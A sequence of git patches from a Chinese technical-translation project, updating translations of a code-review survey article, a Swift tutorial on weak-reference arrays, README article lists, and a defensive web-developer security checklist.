+那么对于那些不可量化的东西来说，我们能知道什么呢？在多项选择题之外，这个调查同时也能够让受访者填写他们自己的答案。这一部分也是这个调查最重要的一部分，最能**说明问题**的一部分。
 
+这些回答具体聚焦在如下几个重点。
+
 
 > 总的来说，对于代码审查制度有很大关系的有两个因素：执行代码审查所需要消耗的资源和代码审查这一流程的可持续性。
 
@@ -120,13 +120,13 @@ I asked every respondent to the survey to what extent they agreed with the state
 
 #### 资源 ####
 
-另一种来找出一个代码审查*到底消耗了多少资源*的方法是问自己这样的问题：*谁在执行这个流程*以及他们花了多少时间来执行这个流程？
+另一种来找出一个代码审查**到底消耗了多少资源**的方法是问自己这样的问题：**谁在执行这个流程**以及他们花了多少时间来执行这个流程？
 
 大量的受访者们都是很有生产力的代码审查员，但是大家都表示对于团队里执行这个环节的人不爽，以及对于等待他们的代码被审查时花费的大量时间表示不爽。
 
 下面是一些匿名的反馈：
 
-> 我们有一个开发人员只是盲目的给每个PR一个赞然后都不怎么留评论。我可以告诉你这是真的因为他们1分钟能看5到6个PR。
+> 我们有一个开发人员只是盲目的给每个PR一个赞然后都不怎么留评论。我可以告诉你这是真的因为他们 1 分钟能看 5 到 6 个PR。
 
 > 我发现第二个或者第三个的审查者大多数都是在打酱油。
 
@@ -134,7 +134,7 @@ I asked every respondent to the survey to what extent they agreed with the state
 
 > 团队里的每个人应该受到相同的对待。高级工程师也会犯错，而且他们也希望有人能提出来。初级工程师也不能被各种黑。人呐，总是会被事物有偏见。
 
-> Commits太长了，导致PR需要很久去审查。人们不会先在本地去测试一下代码。
+> Commits 太长了，导致PR需要很久去审查。人们不会先在本地去测试一下代码。
 
 > 长长的PR总是花费大量的时间，然后这个PR还对将来的特性有重要的影响。
 
@@ -146,24 +146,23 @@ I asked every respondent to the survey to what extent they agreed with the state
 
 #### 可持续性 ####
 
-The **substance of a code review** boils down to the answer to one question question: *What exactly is someone saying, doing, or making another person feel while they review their code?*
-*代码审查可持续性*主要被以下几个因素影响：执行代码审查的时候执行者到底*说了什么，做了什么，让被审查者有什么样的感受*
+**代码审查可持续性**主要被以下几个因素影响：执行代码审查的时候执行者到底**说了什么，做了什么，让被审查者有什么样的感受**
 
-重点还是在于大家说了什么以及说话的方式.
+重点还是在于大家说了什么以及说话的方式。
 
 让我们来看看大家的吐槽吧：
 
-> 面对PR的时候，我觉得你要是不喜欢变量名就直接改，我觉得这个不是最重要的，这完全是个人喜好嘛！就像在IDE里一样，我很容易就被搞蒙了。我不关心为什么不开心，让这个东西停止报错就好，不停叫真的不能忍。
+> 面对 PR 的时候，我觉得你要是不喜欢变量名就直接改，我觉得这个不是最重要的，这完全是个人喜好嘛！就像在 IDE 里一样，我很容易就被搞蒙了。我不关心为什么不开心，让这个东西停止报错就好，不停叫真的不能忍。
 
-> 不要在公开场合说思想上的大错误。在线下有个友善的对话会非常有帮助。直接PR上说会让人很爽，最后弄得大家都不愉快。
+> 不要在公开场合说思想上的大错误。在线下有个友善的对话会非常有帮助。直接 PR 上说会让人很不爽，最后弄得大家都不愉快。
 
-> 当需求不停的改的时候我非常难过，特别是他们不向我解释为什么更改了需求的时候，或者留下他们犯错的可能性。特别是当别人告诉你改写你的代码成为他们的版本的时候，你简直难过的想要抱抱。
+> 当需求不停的改的时候我非常难过，特别是他们不向我解释为什么更改了需求的时候，或者留下他们犯错的可能性。特别是当别人告诉你改写你的代码成为他们的版本的时候，你简直难过得想要抱抱。
 
 > 当一个回复过长的时候，我们不如去进行一次线下的交流。
 
 > 我觉得对于个人喜好问题和功能是否能正常运作完全是两个问题。对于初级工程师来说，这是非常难分辨的。有时候几个高级工程师给出不同的反馈的时候更加懵逼。
 
-The main themes when it came to the *substance* of a code review could be summarized into the following:
+
 总的来说，代码审查的重点有一下几个：
 
 1. 反馈过度注重语法和习惯的问题，导致让双方都非常不爽。代码习惯与风格和代码功能错误根本就是两回事儿。
@@ -172,13 +171,13 @@ The main themes when it came to the *substance* of a code review could be summar
 ### 如何做得更好? ###
 
 
-也许这些数据不能我们最完整，最细致，或者最精准的代表我们代码审查的结构，但是我们还是能学到一些东西：我们能够回顾并检查我们团队的甚至整个社区的代码审查流程。
+也许这些数据不能最完整，最细致，或者最精准地代表代码审查的结构，但是我们还是能学到一些东西：我们能够回顾并检查我们团队的甚至整个社区的代码审查流程。
 
 下面的匿名调查告诉了我们代码审查对于一个团队成员的影响是怎么样的：
 
 > 一个非常差劲的代码审查让我几乎决定离职。一个优秀的代码审查流程会让我有信心面对将来更加困难的项目。
 
-确实，有一个流程化的代码审查制度*似乎*是非常有效且能帮助团队快速成长的；Steve McConnell和这篇文字的调查都证明了这一点。但是，单纯的重构代码审查流程然后永远不改是远远不够的。事实上，代码审查的流程应该根据整个团队的情况来更改以保证团队的生长。
+确实，有一个流程化的代码审查制度**似乎**是非常有效且能帮助团队快速成长的；Steve McConnell 和这篇文字的调查都证明了这一点。但是，单纯的重构代码审查流程然后永远不改是远远不够的。事实上，代码审查的流程应该根据整个团队的情况来更改以保证团队的生长。
 
 > 与直接采用一个代码审查方式不同的是，我们需要重新思考我们的代码审查流程并且流程化工作来帮助我们面对以后的可能遇到的问题。
 

From 06866d2a9395fa52d711e0751b6cab63b5191711 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 23 May 2017 22:02:49 +0800
Subject: [PATCH 516/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 1771d54dcd3..9005ad796c7 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [502](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [503](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南
 
@@ -24,10 +24,10 @@
 
 ## Android
 
+* [用 Dagger 2 实现依赖注入](https://github.com/xitu/gold-miner/blob/master/TODO/Dependency-Injection-with-Dagger-2.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([tanglie1993](https://github.com/tanglie1993/) 翻译)
 * [如何创建 BubblePicker – Android 多彩菜单动画](https://juejin.im/post/591e734d2f301e006bea5243?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([hackerkevin](https://github.com/hackerkevin) 翻译)
 * [通过测试来解耦Activity](https://juejin.im/post/59143d7c8d6d81005854d982?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn) 翻译)
 * [函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式 - 响应式编程 ［Android RxJava 2］（这到底是什么）第三部分](https://juejin.im/entry/591298eea0bb9f0058b35c7f/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([XHShirley](https://github.com/XHShirley) 翻译)
-* [开发者（也就是我）与Rx Observable 类的对话 [ Android RxJava2 ] ( 这到底是什么？) 第五部分](https://juejin.im/post/590ab4f7128fe10058f35119/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit) 翻译)
 * [所有 Android 译文>>](https://github.com/xitu/gold-miner/blob/master/android.md)
 
 

From ecc1d6996caba3881e52277bee1ca3150872cba3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 23 May 2017 22:04:10 +0800
Subject: [PATCH 517/638] Update android.md

---
 android.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/android.md b/android.md
index 9cce5f64446..d6f011ae603 100644
--- a/android.md
+++ b/android.md
@@ -1,3 +1,4 @@
+* [用 Dagger 2 实现依赖注入](https://github.com/xitu/gold-miner/blob/master/TODO/Dependency-Injection-with-Dagger-2.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([tanglie1993](https://github.com/tanglie1993/) 翻译)
 * [如何创建 BubblePicker – Android 多彩菜单动画](https://juejin.im/post/591e734d2f301e006bea5243?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([hackerkevin](https://github.com/hackerkevin) 翻译)
 * [通过测试来解耦Activity](https://juejin.im/post/59143d7c8d6d81005854d982?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn) 翻译)
 * [函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式 - 响应式编程 ［Android RxJava 2］（这到底是什么）第三部分](https://juejin.im/entry/591298eea0bb9f0058b35c7f/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([XHShirley](https://github.com/XHShirley) 翻译)

From eaca15d3ee5e7172df0a72baadb254154a7960e5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 23 May 2017 22:22:49 +0800
Subject: [PATCH 518/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 9005ad796c7..c0b460655f7 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [503](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [504](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南
 
@@ -59,10 +59,10 @@
 
 ## 后端
 
+* [使用速率限制扩展你的 API](https://github.com/xitu/gold-miner/blob/master/TODO/rate-limiters.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([tanglie1993](https://github.com/tanglie1993/) 翻译)
 * [真相就在代码中](https://juejin.im/post/59152d17da2f60005dd0ae77?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([loveky](https://github.com/loveky) 翻译)
 * [nginScript 入门](https://github.com/xitu/gold-miner/blob/master/TODO/introduction-nginscript.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([1992chenlu](https://github.com/1992chenlu) 翻译)
 * [我是如何找回 Reddit 密码的](https://juejin.im/entry/590aee94da2f60005328fb2d/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([cdpath](https://github.com/cdpath) 翻译)
-* [Node.js 之战: 如何在生产环境中调试错误](https://juejin.im/post/59035d3644d904006919086b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn) 翻译)
 * [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md)
 
 ## 教程

From f42957e33ae7c2d7b5fe7416d4635e4fe757dafb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 23 May 2017 22:24:37 +0800
Subject: [PATCH 519/638] Update backend.md

---
 backend.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/backend.md b/backend.md
index 1aad1b13333..02af53617ed 100644
--- a/backend.md
+++ b/backend.md
@@ -1,3 +1,4 @@
+* [使用速率限制扩展你的 API](https://github.com/xitu/gold-miner/blob/master/TODO/rate-limiters.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([tanglie1993](https://github.com/tanglie1993/) 翻译)
 * [真相就在代码中](https://juejin.im/post/59152d17da2f60005dd0ae77?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)[loveky](https://github.com/loveky) 翻译)
 * [nginScript 入门](https://github.com/xitu/gold-miner/blob/master/TODO/introduction-nginscript.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([1992chenlu](https://github.com/1992chenlu) 翻译)
 * [我是如何找回 Reddit 密码的](https://juejin.im/entry/590aee94da2f60005328fb2d/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([cdpath](https://github.com/cdpath) 翻译)

From 0c4ee936e5e8b66780e53a7c1d5871b7a9d2036e Mon Sep 17 00:00:00 2001
From: zhangqippp <zhangqicode@gmail.com>
Date: Wed, 24 May 2017 12:29:39 +0800
Subject: [PATCH 520/638] =?UTF-8?q?=E5=88=9D=E8=AF=91=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...arrays-holding-elements-weak-references.md | 84 +++++++++----------
 1 file changed, 42 insertions(+), 42 deletions(-)

diff --git a/TODO/swift-arrays-holding-elements-weak-references.md b/TODO/swift-arrays-holding-elements-weak-references.md
index fb9e033e853..f795b607ea8 100644
--- a/TODO/swift-arrays-holding-elements-weak-references.md
+++ b/TODO/swift-arrays-holding-elements-weak-references.md
@@ -1,26 +1,26 @@
 > * 原文地址：[Swift Arrays Holding Elements With Weak References](https://marcosantadev.com/swift-arrays-holding-elements-weak-references/)
 > * 原文作者：[Marco Santarossa](https://marcosantadev.com/about-me/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[zhangqippp](https://github.com/zhangqippp)
 > * 校对者：
 
-# [Swift Arrays Holding Elements With Weak References](https://marcosantadev.com/swift-arrays-holding-elements-weak-references/) #
+# [对元素持有弱引用的Swift数组](https://marcosantadev.com/swift-arrays-holding-elements-weak-references/) #
 
 ![](https://marcosantadev.com/wp-content/uploads/header-1.jpg)
 
-In iOS development there are moments where you ask yourself: “To weak, or not to weak, that is the question”. Let’s see how “to weak” with the arrays.
+在 iOS 开发中我们经常面临一个问题：“使用弱引用，还是不使用弱引用？”。我们来看一下如何在数组中使用弱引用。
 
-# Overview #
+# 概述 #
 
-*In this article, I speak about memory management without explaining it since it would be beyond the goal of this article. The [official documentation](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/AutomaticReferenceCounting.html) is a good starting point to learn this subject. Then, if you have other doubts, please leave a comment and I’ll reply as soon as possible.*
+*在本文中，我会谈到内存管理但是不会解释它，因为这不是本文的主题。  这里的[官方文档](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/AutomaticReferenceCounting.html)可以帮助你开始学习内存管理。 如果你有其它疑问，请留言，我会尽快给予回复。*
 
-`Array` is the most popular collection in Swift. By default, it maintains a strong references of its elements. Even if this behaviour is useful most of the time, you might have some scenarios where you would want to use weak references. For this reason, Apple provides an alternative to `Array` which maintains weak references of its elements: **NSPointerArray**.
+`Array` 是Swift中使用最多的集合。它会默认的对其元素持有强引用。 这种默认的行为在大多数时候都很有用，但是在某些场景下你可能想要使用弱引用。因此，苹果公司给我们提供了一个 `Array` 的替代品：**NSPointerArray**，这个类对它的元素持有弱引用。
 
-Before looking at this class, let’s see and example to understand why we should use it.
+在开始研究这个类之前，我们先通过一个例子来了解为什么我们需要使用它。
 
-# Why Weak References? #
+# 为什么要使用弱引用？ #
 
-Let’s use, as example, a `ViewManager` class which has two properties of type `View`. In its constructor, we add these views in an array to inject inside `Drawer`—which uses this array to draw something inside the views. Finally, we have a method `destroyViews` to destroy the two `View`s:
+举个例子，我们有一个 `ViewManager` ，它有两个 `View` 类型的属性。在它的构造器中，我们把这些视图添加到 `Drawer` 内部的一个数组中，`Drawer` 使用这个数组在其中的视图内绘制一些内容。最后，我们还有一个 `destroyViews` 方法来销毁这两个 `View`：
 
 ```
 class View { }
@@ -56,13 +56,13 @@ class ViewManager {
 ```
  
 
-Unfortunately, `destroyViews` doesn’t destroy the two views because the array inside `Drawer` is maintaining a strong reference of the views. We can avoid this problem replacing the array with a `NSPointerArray`.
+但是，`destroyViews` 方法并没能销毁这两个视图，因为 `Drawer` 内部的数组依然对这些视图保持着强引用。我们可以通过使用 `NSPointerArray` 来避免这个问题。
 
 # [NSPointerArray](https://developer.apple.com/reference/foundation/nspointerarray) #
 
-`NSPointerArray` is an alternative to `Array` with the main difference that it doesn’t store an object but its pointer (`UnsafeMutableRawPointer`).
+`NSPointerArray` 是 `Array` 的一个替代品，主要区别在于它不存储对象而是存储对象的指针（ `UnsafeMutableRawPointer` ）。 
 
-This type of array can store the pointer maintaining either a weak or a strong reference depending on how it’s initialised. It provides two static methods to be initialised in different ways:
+这种类型的数组可以管理弱引用也可以管理强引用，取决于它是如何被初始化的。它提供两个静态方法以便我们使用不同的初始化方式：
 
 ```
 let strongRefarray = NSPointerArray.strongObjects() // Maintains strong references
@@ -70,9 +70,9 @@ let weakRefarray = NSPointerArray.weakObjects() // Maintains weak references
 ```
  
 
-Since we want an array of weak references, we’ll use `NSPointerArray.weakObjects()`.
+我们需要一个弱引用的数组，所以我们使用 `NSPointerArray.weakObjects()`。
 
-Now, we can add a new object in this array:
+现在，我们向数组中添加一个新对象：
 
 ```
 class MyClass { }
@@ -84,7 +84,7 @@ let pointer = Unmanaged.passUnretained(obj).toOpaque()
 array.addPointer(pointer)
 ```
 
-Since using the pointer may be annoying, you can use this extension which I made to simplify the `NSPointerArray`:
+如果你觉得这样使用指针很烦，你可以使用我写的这个扩展，可以简化 `NSPointerArray ` 的使用：
 
 ```
 extension NSPointerArray {
@@ -122,7 +122,7 @@ extension NSPointerArray {
 }
 ```
 
-Thanks to this extension, you can replace the previous example with:
+有了这个扩展类，你可以将前面的例子替换为：
 
 ```
 var array = NSPointerArray.weakObjects()
@@ -131,13 +131,13 @@ let obj = MyClass()
 array.addObject(obj)
 ``` 
 
-If you want to clean the array removing the objects with value `nil`, you can call the method `compact()`:
+如果你想清理这个数组，把其中的对象都置为 `nil`，你可以调用 `compact()` 方法：
 
 ```
 array.compact()
 ```
  
-At this point, we can refactor the example used in “Why Weak References?” with the following code:
+到了这里，我们可以将上一小节 “为什么要使用弱引用？” 中的例子重构为如下代码：
 
 ```
 class View { }
@@ -176,21 +176,21 @@ class ViewManager {
  
 ```
 
-Note:
+注意:
 
-1. You may have noticed that `NSPointerArray` stores pointers of `AnyObject` only, it means that you can store just classes—so neither structs nor enums. You can store protocols if they have the keyword [`class`](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/Protocols.html#//apple_ref/doc/uid/TP40014097-CH25-ID281):
+1. 你可能已经注意到了 `NSPointerArray` 只存储 `AnyObject` 的指针，这意味着你只能存储类 —— 结构体和枚举都不行。你可以存储带有 [`class`](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/Protocols.html#//apple_ref/doc/uid/TP40014097-CH25-ID281) 关键字的协议：
 
 ```
 protocolMyProtocol: class{}
 ```
 
-2. If you want to play with `NSPointerArray`, I suggest you to avoid the Playground since you may have odd behaviours with the retain count. A sample app would be better.
+2. 如果你想试用一下 `NSPointerArray`，我建议不要试用 Playground ，因为你可能因为引用计数问题得到一些奇怪的行为。使用一个简单的 app 会更好。
 
-# Alternatives #
+# 备选方案 #
 
-`NSPointerArray` is very useful to store objects maintaining weak references, but it has a problem: it’s not type-safe.
+`NSPointerArray` 对于存储对象和保持弱引用来说非常有用，但是它有一个问题：它不是类型安全的。 
 
-For “not type-safe”, I mean that the compiler is not able to infer the type of the objects inside `NSPointerArray`, since it uses pointers of objects `AnyObject`. For this reason, when you get an object from the array, you must cast it to your object type:
+“非类型安全”，在此处的意思是编译器无法隐含 `NSPointerArray` 内部对象的类型，因为它使用的是 `AnyObject` 型对象的指针。因此，当你从数组中获取一个对象时，你需要检查它是否是你所需要的类型：
 
 ```
 ifletfirstObject=array.object(at:0)as?MyClass{// Cast to MyClass
@@ -201,11 +201,11 @@ ifletfirstObject=array.object(at:0)as?MyClass{// Cast to MyClass
 
 ``` 
 
-*`object(at:)` comes from my `NSPointerArray` extension which I shown previously.*
+*`object(at:)` 方法来自我先前展示的 `NSPointerArray` 扩展类。*
 
-If we want to use a type-safe alternative we can’t use `NSPointerArray` anymore.
+如果我们想使用一个类型安全的数组替代品，我们就不能使用 `NSPointerArray` 了。 
 
-A possible workaround is creating a new class `WeakRef` with a generic weak property `value`:
+一个可行的方案是创建一个新类 `WeakRef` ，它带有一个普通的weak属性 `value`：
 
 ```
 classWeakRef<T>whereT: AnyObject{
@@ -222,25 +222,25 @@ classWeakRef<T>whereT: AnyObject{
 ```
  
 
-*`private(set)` exposes `value` in read-only mode, in this way no one can set its value from outside the class.*
+*`private(set)` 方法将 `value` 设置为只读模式, 这样就无法在类的外部设置它的值了。*
 
-Then, we can create an array of `WeakRef`, where `value` is your `MyClass` object to store:
+然后，我们可以创建一组 `WeakRef` 对象，将你的 `MyClass` 对象储存到它们的 `value` 属性：
 
 ```
-vararray=[WeakRef<MyClass>]()
+var array=[WeakRef<MyClass>]()
 
  
 
-letobj=MyClass()
+let obj=MyClass()
 
-letweakObj=WeakRef(value:obj)
+let weakObj=WeakRef(value:obj)
 
 array.append(weakObj)
 ``` 
 
-Now, we have an array type-safe which maintains a weak reference of your `MyClass` objects. The disadvantage of this approach is that we must add an extra layer in our code (`WeakRef`) to wrap the weak reference in a type-safe way.
+现在，我们拥有一个类型安全的数组，其内部对你的 `MyClass` 对象持有弱引用。这种实现的坏处在于，我们必须在代码中多加一层（`WeakRef`），来用一种类型安全的方式包裹弱引用。
 
-If you want to clean the array removing the objects with value `nil`, you can write the following method:
+如果你想清理数组，去除其中值为 `nil` 的对象，你可以使用下面的方法：
 
 ```
 funccompact(){
@@ -250,9 +250,9 @@ funccompact(){
 }
 ```
 
-*`filter` returns a new array with the elements that satisfy the given predicate. You can find more details in the [documentation](https://developer.apple.com/reference/swift/array/1688383-filter).*
+*`filter` 返回一个其中元素满足给定条件的新数组。你可以在[文档](https://developer.apple.com/reference/swift/array/1688383-filter)中获取更多的信息。*
 
-Now, we can refactor the example used in “Why Weak References?” with the following code:
+现在，我们可以将 “为什么要使用弱引用？” 小节中的例子重构为如下代码：
 
 ```
 class View { }
@@ -290,7 +290,7 @@ class ViewManager {
 }
 ```
 
-A cleaner version using the typealias:
+使用类型别名的更简洁的版本如下：
 
 ```
 typealias WeakRefView = WeakRef<View>
@@ -329,15 +329,15 @@ class ViewManager {
 }
 ```
  
-# Dictionary And Set #
+# Dictionary 和 Set #
 
-This article has the main focus on `Array`, if you need something similar to `NSPointerArray` for `Dictionary` you can have a look at [NSMapTable](https://developer.apple.com/reference/foundation/nsmaptable), whereas for `Set` you can use [NSHashTable](https://developer.apple.com/reference/foundation/nshashtable).
+本文主要讨论了 `Array`，如果你需要 `Dictionary` 的类似于 `NSPointerArray` 的替代品，你可以参考 [NSMapTable](https://developer.apple.com/reference/foundation/nsmaptable)，以及 `Set` 的替代品 [NSHashTable](https://developer.apple.com/reference/foundation/nshashtable)。
 
-If you want a type-safe `Dictionary`/`Set`, you can achieve it storing a `WeakRef` object.
+如果你需要一个类型安全的 `Dictionary`/`Set`，你可以通过使用 `WeakRef` 对象来实现。
 
-# Conclusion #
+# 结论 #
 
-I guess you are not going to use arrays with weak references very often, but it’s not an excuse not to know how to achieve it. In iOS development the memory management is very important to avoid memory leaks, since iOS doesn’t have a garbage collector. ¯\_(ツ)_/¯
+你可能不会经常使用持有弱引用的数组，但是你仍然可以学习如何实现它。在 iOS 开发中，内存管理是非常重要的，我们应该避免内存泄露，因为 iOS 没有垃圾回收器。 ¯\_(ツ)_/¯
 
 
 ---

From e53f7e46520d8628352fc66393689375bbfd9bc1 Mon Sep 17 00:00:00 2001
From: GangsterHyj <919685260@qq.com>
Date: Thu, 25 May 2017 01:21:06 +0800
Subject: [PATCH 521/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/web-developer-security-checklist.md | 45 ++++++++++++------------
 1 file changed, 23 insertions(+), 22 deletions(-)

diff --git a/TODO/web-developer-security-checklist.md b/TODO/web-developer-security-checklist.md
index 2733f5acd2c..8bf23c9f2eb 100644
--- a/TODO/web-developer-security-checklist.md
+++ b/TODO/web-developer-security-checklist.md
@@ -11,7 +11,7 @@
 
 开发安全、健壮的云端 web 应用程序是**非常困难**的事情。如果你认为这很容易，要么你过着更高级的生活，要么你还正走向痛苦觉醒的路上。
 
-倘若你已经接受 [MVP（最小化可行产品）](https://en.wikipedia.org/wiki/Minimum_viable_product) 的开发理念，并且相信能在一个月内创造既有价值又安全的产品 —— 在发布你的“原型产品”之前请再三考虑。在你检查下面列出的安全清单后，承认你在开发过程中忽视了很多极其重要的安全问题。至少要对你潜在的用户坦诚，让他们知道你并没有真正完成产品，而仅仅只是提供没有充分考虑安全问题的原型。
+倘若你已经接受 [MVP（最简可行产品）](https://en.wikipedia.org/wiki/Minimum_viable_product) 的开发理念，并且相信能在一个月内创造既有价值又安全的产品 —— 在发布你的“原型产品”之前请再三考虑。在你检查下面列出的安全清单后，意识到你在开发过程中忽视了很多极其重要的安全问题。至少要对你潜在的用户坦诚，让他们知道你并没有真正完成产品，而仅仅只是提供没有充分考虑安全问题的原型。
 
 这份安全清单很简单，绝非覆盖所有方面。它列出了在创建 web 应用时需要考虑的比较重要的安全问题。
 
@@ -20,27 +20,28 @@
 ### **数据库** ###
 
 -  对识别用户身份的数据和诸如访问令牌、电子邮箱地址或账单明细等敏感数据进行加密。
--  如果数据库支持在休息状态进行低消耗的数据加密 (如 [AWS Aurora](https://aws.amazon.com/about-aws/whats-new/2015/12/amazon-aurora-now-supports-encryption-at-rest/))，那么请激活此功能以加强磁盘数据安全。确保所有的备份文件也都被加密存储。
+-  如果数据库支持在空闲状态进行低消耗的数据加密 (如 [AWS Aurora](https://aws.amazon.com/about-aws/whats-new/2015/12/amazon-aurora-now-supports-encryption-at-rest/))，那么请激活此功能以加强磁盘数据安全。确保所有的备份文件也都被加密存储。
 -  对访问数据库的用户帐号使用最小权限原则，禁止使用数据库 root 帐号。
 -  使用精心设计的密钥库存储和分发密钥，不要对应用中使用的密钥进行硬编码。
 -  仅使用 SQL 预备语句以彻底阻止 SQL 注入。例如，如果使用 NPM 开发应用，连接数据库时不使用 npm-mysql ，而是使用支持预备语句的 npm-mysql2 。
 
 ### **开发** ###
 
--  确保检查软件所有组件的每个投入生存环境使用的版本漏洞，包括操作系统、库和软件包。此操作应该以自动化的方式注入 CI/CD 过程。
+-  确保已经检查过软件投入生存环境使用的每个版本中所有组件的漏洞，包括操作系统、库和软件包。此操作应该以自动化的方式加入 CI/CD（持续集成/持续部署） 过程。
 -  对开发环境系统的安全问题保持与生产环境同样的警惕，从安全、独立的开发环境系统构建软件。
 
 ### **认证** ###
 
--  确保所有密码都使用适当的加密算法（例如 bcrypt ）进行哈希。
--  实现简单但充分的密码规则以激励用户使用长的随机密码。
+-  确保所有的密码都使用例如 bcrypt 之类的合适的加密算法进行哈希。绝对不要使用自己写的加密算法，并正确地使用随机数初始化加密算法。
+-  使用简单但充分的密码规则以激励用户设置长的随机密码。
 -  使用多因素身份验证方式实现对服务提供商的登录操作。
 
 ### **拒绝服务防卫** ###
 
--  确保对 API 进行 DOS 攻击不会让你的网站崩溃。至少在执行时间较长的 API 路径（例如登录、令牌生成等程序）使用速度限制器。
+-  确保对 API 进行 DOS 攻击不会让你的网站崩溃。至少增加速率限制到执行时间较长的 API 路径（例如登录、令牌生成等程序）。
 -  对用户提交的数据和请求在大小和结构上增强完整性限制。
--  通过类似 [CloudFlare](https://www.cloudflare.com/) 的全局缓存代理服务应用缓解 [Distributed Denial of Service](https://en.wikipedia.org/wiki/Denial-of-service_attack) (DDOS)对网站带来的影响。如果你遭受 DDOS 攻击，或者用于 DNS 查找，可以考虑开启此服务。？？？
+-  使用类似 [CloudFlare](https://www.cloudflare.com/) 的全局缓存代理服务应用以缓解 [Distributed Denial of Service](https://en.wikipedia.org/wiki/Denial-of-service_attack) （DDOS，分布式拒绝服务攻击）对网站带来的影响。它会在你遭受 DDOS 攻击时被激活，并且还具有类似 DNS 查找等功能。
+
 
 ### **网络交通** ###
 
@@ -48,7 +49,7 @@
 -  Cookies 必须添加 httpOnly 和 secure 属性，且由属性 path 和 domain 限定作用范围。
 -  使用 [CSP（内容安全策略）](https://en.wikipedia.org/wiki/Content_Security_Policy) 以禁止不安全的后门操作。策略的配置很繁琐，但是值得。
 -  使用 X-Frame-Option 和 X-XSS-Protection 响应头。
